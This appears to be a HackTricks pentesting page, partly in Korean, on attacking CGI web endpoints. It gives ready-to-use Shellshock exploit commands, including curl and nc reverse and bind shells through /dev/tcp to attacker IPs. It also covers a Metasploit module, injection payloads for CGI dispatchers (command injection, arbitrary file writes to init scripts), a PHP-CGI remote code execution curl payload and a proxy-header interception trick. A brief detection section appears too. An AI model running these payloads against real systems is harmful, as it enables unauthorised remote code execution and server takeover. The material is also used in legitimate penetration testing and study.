CGI Pentesting

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

정보

The CGI scripts are perl scripts, so, if you have compromised a server that can execute .cgi scripts you can upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), change the extension from .pl to .cgi, give execute permissions (chmod +x) and access the reverse shell from the web browser to execute it. In order to test for CGI vulns it's recommended to use nikto -C all (및 모든 플러그인)

ShellShock

ShellShock은 Unix 계열 운영체제에서 널리 사용되는 Bash 명령줄 셸에 영향을 미치는 취약점입니다. 이 취약점은 애플리케이션이 전달한 명령을 Bash가 실행하는 기능을 목표로 합니다. 취약점은 프로세스 실행 방식에 영향을 주는 동적 이름-값인 환경 변수(environment variables) 조작에 있습니다. 공격자는 환경 변수에 악성 코드를 첨부하고, 해당 변수를 수신할 때 코드가 실행되도록 하여 이를 악용할 수 있습니다. 이를 통해 시스템을 손상시킬 가능성이 있습니다.

이 취약점을 악용하면 페이지가 에러를 발생시킬 수 있습니다.

이 취약점을 찾으려면 해당 서버가 old Apache versioncgi_mod (with cgi folder)을 사용하고 있는지 확인하거나 nikto를 사용하면 됩니다.

테스트

대부분의 테스트는 echo 명령으로 무언가를 출력하고 그 문자열이 웹 응답에 반환되는지 확인하는 방식입니다. 특정 페이지가 취약할 수 있다고 생각되면 모든 cgi pages를 찾아 테스트하세요.

Nmap

bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind and out-of-band)

bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

중앙집중식 CGI 디스패처 (선택자 파라미터를 통한 단일 엔드포인트 라우팅)

많은 임베디드 웹 UI는 하나의 CGI 엔드포인트(예: /cgi-bin/cstecgi.cgi) 뒤에 수십 개의 권한 있는 동작을 멀티플렉스하고 topicurl=<handler> 같은 선택자 파라미터로 요청을 내부 함수로 라우팅합니다.

이러한 라우터를 악용하는 방법론:

  • 핸들러(handler) 이름 열거: scrape JS/HTML, wordlists로 brute-force, 또는 firmware를 unpack하고 dispatcher에서 사용된 handler 문자열을 grep.
  • 인증 없는 접근성 테스트: 일부 handlers는 auth checks를 잊어버려 직접 호출 가능함.
  • system utilities를 호출하거나 파일을 touch 하는 handlers에 집중: 약한 validators는 종종 몇 문자만 차단하고 선행 하이픈 -을 놓칠 수 있음.

일반적인 익스플로잇 형태:

http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

탐지 및 강화:

  • 중앙화된 CGI 엔드포인트에 대해 topicurl이 민감한 핸들러로 설정된 인증되지 않은 요청을 주시하세요.
  • 파라미터가 -로 시작하는 경우 플래그 처리하세요 (argv option injection attempts).
  • 벤더: 모든 상태 변경 핸들러에 대해 인증을 강제하고, 엄격한 허용목록/타입/길이로 검증하며, 사용자 제어 문자열을 커맨드라인 플래그로 절대 전달하지 마세요.

Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

기본적으로 cgi가 활성화되어 있고 php가 "구버전" (<5.3.12 / < 5.4.2)일 경우 코드를 실행할 수 있습니다. 이 취약점을 악용하려면 웹 서버의 PHP 파일에 파라미터를 전송하지 않고 접근해야 합니다(특히 '=' 문자를 보내지 않아야 합니다). 그런 다음, 이 취약점을 테스트하려면 예를 들어 /index.php?-s에 접근할 수 있습니다( -s에 주목) 그리고 응답에 애플리케이션의 소스 코드가 표시됩니다.

그런 다음 RCE를 얻기 위해 다음과 같은 특수 쿼리를 보낼 수 있습니다: /?-d allow_url_include=1 -d auto_prepend_file=php://input 그리고 실행할 PHP 코드는 **요청 본문(body of the request)**에 넣습니다. 예시:

bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

vuln 및 가능한 exploits에 대한 추가 정보: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM to Web server requests)

CGI는 http 요청의 각 header에 대해 환경 변수(environment variable)를 생성합니다. 예를 들어: "host:web.com"은 "HTTP_HOST"="web.com"으로 생성됩니다.

웹 서버가 HTTP_PROXY 변수를 사용할 수 있으므로, 다음과 같은 header를 전송해 보세요: "Proxy: <IP_attacker>:<PORT>". 서버가 세션 중에 어떠한 요청을 수행하면, 해당 서버가 수행하는 모든 요청을 가로챌 수 있습니다.

참조

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기